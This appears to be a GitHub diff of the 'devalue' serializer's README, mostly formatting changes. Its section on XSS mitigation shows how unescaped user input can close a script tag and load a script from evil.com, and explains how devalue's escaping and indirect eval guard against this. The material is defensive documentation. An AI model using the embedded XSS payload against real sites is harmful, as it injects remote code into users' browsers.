You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
If `devalue` encounters a function or a non-POJO, it will throw an error.
42
41
43
-
44
42
## XSS mitigation
45
43
46
44
Say you're server-rendering a page and want to serialize some state, which could include user input. `JSON.stringify` doesn't protect against XSS attacks:
@@ -62,7 +60,10 @@ Which would result in this:
62
60
```html
63
61
<script>
64
62
// NEVER DO THIS
65
-
var preloaded = {"userinput":"</script><script src='https://evil.com/mwahaha.js'>"};
63
+
var preloaded = {"userinput":"
64
+
</script>
65
+
<script src="https://evil.com/mwahaha.js">
66
+
"};
66
67
</script>
67
68
```
68
69
@@ -77,43 +78,43 @@ const template = `
77
78
78
79
```html
79
80
<script>
80
-
var preloaded = {userinput:"\\u003C\\u002Fscript\\u003E\\u003Cscript src=\'https:\\u002F\\u002Fevil.com\\u002Fmwahaha.js\'\\u003E"};
This, along with the fact that `devalue` bails on functions and non-POJOs, stops attackers from executing arbitrary code. Strings generated by `devalue` can be safely deserialized with `eval` or `new Function`:
85
89
86
90
```js
87
-
constvalue= (0,eval)('('+ str +')');
91
+
const value = (0,eval)('(' + str + ')');
88
92
```
89
93
90
-
91
94
## Other security considerations
92
95
93
96
While `devalue` prevents the XSS vulnerability shown above, meaning you can use it to send data from server to client, **you should not send user data from client to server** using the same method. Since it has to be evaluated, an attacker that successfully submitted data that bypassed `devalue` would have access to your system.
94
97
95
-
When using `eval`, ensure that you call it *indirectly* so that the evaluated code doesn't have access to the surrounding scope:
98
+
When using `eval`, ensure that you call it _indirectly_ so that the evaluated code doesn't have access to the surrounding scope:
0 commit comments